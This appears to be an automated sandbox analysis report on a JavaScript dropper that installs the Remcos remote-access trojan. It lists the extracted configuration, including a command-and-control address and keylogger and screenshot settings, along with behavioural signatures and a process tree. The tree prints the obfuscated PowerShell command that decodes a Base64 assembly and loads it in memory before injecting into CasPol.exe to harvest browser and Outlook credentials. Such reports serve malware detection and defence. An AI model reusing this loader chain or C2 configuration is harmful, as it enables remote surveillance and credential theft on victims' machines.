Analysis
- max time kernel
149s - max time network
149s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260911-en - resource tags
- submitted
07/10/2026, 17:39
General
- Target wetrongiven.js
- Size 470B
- Sample261007-v8detadv9k
- SHA256 ff257cad1dede25a8cc7f32c6f647644caec77f9be9bb4fbc512bfcfad11b676
Malware Config
Extracted
-
remcos
-
6.0.0 Pro
-
RemoteHost
-
103.83.86.40:14642
-
audio_folder
MicRecords
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audio_path
ApplicationPath
-
audio_record_time
5
-
connect_delay
0
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connect_interval
1
-
copy_file
remcos.exe
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copy_folder
Remcos
-
delete_file
false
-
hide_file
false
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hide_keylog_file
false
-
install_flag
false
-
keylog_crypt
false
-
keylog_file
logs.dat
-
keylog_flag
false
-
keylog_folder
remcos
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mouse_option
false
-
mutex
Rmc-6TAD5B
-
screenshot_crypt
false
-
screenshot_flag
false
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screenshot_folder
Screenshots
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screenshot_path
%AppData%
-
screenshot_time
10
-
take_screenshot_option
false
-
take_screenshot_time
5
Signatures
- Family: Remcos
Remcos is a closed-source remote control and surveillance software.
- Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
- Detected Nirsoft tools 3 IoCs
Free utilities often used by attackers which can steal passwords, product keys, etc.
- NirSoft MailPassView 1 IoCs
Password recovery tool for various email clients
- NirSoft WebBrowserPassView 1 IoCs
Password recovery tool for various web browsers
- Badlisted process makes network request 2 IoCs
Network request originating from process or tool commonly abused by malware.
- Accesses Microsoft Outlook accounts 1 TTPs 1 IoCs
- Accesses Microsoft Outlook profiles 1 TTPs 3 IoCs
- Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Using powershell.exe command.
- Suspicious use of SetThreadContext 4 IoCs
- Command and Scripting Interpreter: JavaScript 1 TTPs
- Reads the TCP/IP host and domain name from the registry 1 TTPs 2 IoCs
The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.
- System Location Discovery: System Language Discovery 1 TTPs 4 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
- Script User-Agent 1 IoCs
Uses user-agent string associated with script host/environment.
- Suspicious behavior: EnumeratesProcesses 8 IoCs
- Suspicious behavior: MapViewOfSection 1 TTPs 4 IoCs
- Suspicious use of AdjustPrivilegeToken 2 IoCs
- Suspicious use of WriteProcessMemory 11 IoCs
- outlook_office_path 1 IoCs
Processes
-
C:\Windows\system32\wscript.exewscript.exe C:\Users\Admin\AppData\Local\Temp\wetrongiven.js1⤵
- Badlisted process makes network request
- Reads the TCP/IP host and domain name from the registry
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -NoProfile -Command "$unsettled=$env:P1+$env:P2+$env:P3+$env:P4+$env:P5+$env:P6+$env:P7;$duckpins=[Convert]::FromBase64String($unsettled);[AppDomain]::CurrentDomain.Load($duckpins)|Out-Null;[Win32.RMP.aaaaaaa]::aaaaaaaaaaa('mFQQDgSEJ91xhgd2R6lVEHmyXax8Th6fdfMWjjYv/lywOe6E/F8SgfEuTTnIAkoUR13ZBfwGfVL3L0YBed5gRA==','','kewk9KKkW4QFZ3qDuFDvX48BeHw/Wc/zmhVtr+pcOJNo0OWlz9M9014WPsj7oOOq','4VjpzISyhJvi9GeqKaa1siyAOCGexdeM1YK24nY89cc=','/W3r3DZtIrGdIoF4lm2MGNJi5ZQ93Df6QbWCMZu1D4Q=','','n2tfUcafbWe2mQWRbeXkXU9OEx7BQWGGCW9HRYcKjW4=','','3Fri8dJ/E+amhyNP6mr2dxTc+oeKz0Ke0dZMJmxLqk8=','kwNz2YR83MsLXaaPXO5snKwspNdYwCOaETKgzKPbj26yLPnP2Btzg1RbnzrQfTUo','YIsPdCwTg6Z//NTOMGZERxtVv/rxpLuJQHkUYFX/DgI=','s8buxGJ9eGplFupC6YuMfGgXu0/3ZssPe1nIzEUVrHM=','B//YpHT+zBQPtiCE/WGklUKSqRstjlJLwl5mueZJKPA=','','RmirYidrNApJ4PmvOEbB59h3kxRPIIY0pB4BSb1TAs8=','BcFnVvi3CD4ek11KqhLgY59lCT3vcl3MROgSOnep9CY=','','','')"1⤵
- Process spawned unexpected child process
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
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C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe"2⤵
- Suspicious use of SetThreadContext
- System Location Discovery: System Language Discovery
- Suspicious behavior: MapViewOfSection
- Suspicious use of WriteProcessMemory
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeC:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe /stext "C:\Users\Admin\AppData\Local\Temp\faqncpapjyugjrftgmaygmngot"3⤵
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
-
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeC:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe /stext "C:\Users\Admin\AppData\Local\Temp\icdychljxhmtlftxxxnsrrhxpaxeg"3⤵
-
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeC:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe /stext "C:\Users\Admin\AppData\Local\Temp\icdychljxhmtlftxxxnsrrhxpaxeg"3⤵
- Accesses Microsoft Outlook accounts
- Accesses Microsoft Outlook profiles
- System Location Discovery: System Language Discovery
- outlook_office_path
-
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeC:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe /stext "C:\Users\Admin\AppData\Local\Temp\swjqdzwklpeyvlhbgihtuecgyghfhajm"3⤵
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
Loading Replay Monitor...
Downloads
faqncpapjyugjrftgmaygmngot
memory/236-25-0x0000000000400000-0x0000000000478000-memory.dmp
memory/236-27-0x0000000000400000-0x0000000000478000-memory.dmp
memory/236-26-0x0000000000400000-0x0000000000478000-memory.dmp
memory/1784-33-0x0000000000400000-0x0000000000424000-memory.dmp
memory/1784-34-0x0000000000400000-0x0000000000424000-memory.dmp
memory/1784-35-0x0000000000400000-0x0000000000424000-memory.dmp
memory/3452-10-0x00007FF844010000-0x00007FF8449B4000-memory.dmp
memory/3452-9-0x00007FF844010000-0x00007FF8449B4000-memory.dmp
memory/3452-8-0x00007FF844010000-0x00007FF8449B4000-memory.dmp
memory/3452-6-0x000002BE376C0000-0x000002BE376EA000-memory.dmp
memory/3452-0-0x00007FF84419F000-0x00007FF8441A0000-memory.dmp
memory/3452-18-0x00007FF844010000-0x00007FF8449B4000-memory.dmp
memory/3452-7-0x00007FF844010000-0x00007FF8449B4000-memory.dmp
memory/3452-5-0x00007FF844010000-0x00007FF8449B4000-memory.dmp
memory/3452-15-0x00007FF844010000-0x00007FF8449B4000-memory.dmp
memory/3452-4-0x00007FF844010000-0x00007FF8449B4000-memory.dmp
memory/3452-3-0x000002BE37650000-0x000002BE37672000-memory.dmp
memory/4836-14-0x0000000000400000-0x0000000000480000-memory.dmp
memory/4836-42-0x0000000010000000-0x0000000010019000-memory.dmp
memory/4836-23-0x0000000000400000-0x0000000000480000-memory.dmp
memory/4836-24-0x0000000000400000-0x0000000000480000-memory.dmp
memory/4836-20-0x0000000000400000-0x0000000000480000-memory.dmp
memory/4836-53-0x0000000000400000-0x0000000000480000-memory.dmp
memory/4836-21-0x0000000000400000-0x0000000000480000-memory.dmp
memory/4836-19-0x0000000000400000-0x0000000000480000-memory.dmp
memory/4836-16-0x0000000000400000-0x0000000000480000-memory.dmp
memory/4836-17-0x0000000000400000-0x0000000000480000-memory.dmp
memory/4836-54-0x0000000000400000-0x0000000000480000-memory.dmp
memory/4836-52-0x0000000000400000-0x0000000000480000-memory.dmp
memory/4836-13-0x0000000000400000-0x0000000000480000-memory.dmp
memory/4836-38-0x0000000010000000-0x0000000010019000-memory.dmp
memory/4836-11-0x0000000000400000-0x0000000000480000-memory.dmp
memory/4836-22-0x0000000000400000-0x0000000000480000-memory.dmp
memory/4836-41-0x0000000010000000-0x0000000010019000-memory.dmp
memory/4836-43-0x0000000000400000-0x0000000000480000-memory.dmp
memory/4836-44-0x0000000000400000-0x0000000000480000-memory.dmp
memory/4836-45-0x0000000000400000-0x0000000000480000-memory.dmp
memory/4836-46-0x0000000000400000-0x0000000000480000-memory.dmp
memory/4836-47-0x0000000000400000-0x0000000000480000-memory.dmp
memory/4836-48-0x0000000000400000-0x0000000000480000-memory.dmp
memory/4836-49-0x0000000000400000-0x0000000000480000-memory.dmp
memory/4836-50-0x0000000000400000-0x0000000000480000-memory.dmp
memory/4836-51-0x0000000000400000-0x0000000000480000-memory.dmp
memory/5768-30-0x0000000000400000-0x0000000000462000-memory.dmp
memory/5768-32-0x0000000000400000-0x0000000000462000-memory.dmp
memory/5768-29-0x0000000000400000-0x0000000000462000-memory.dmp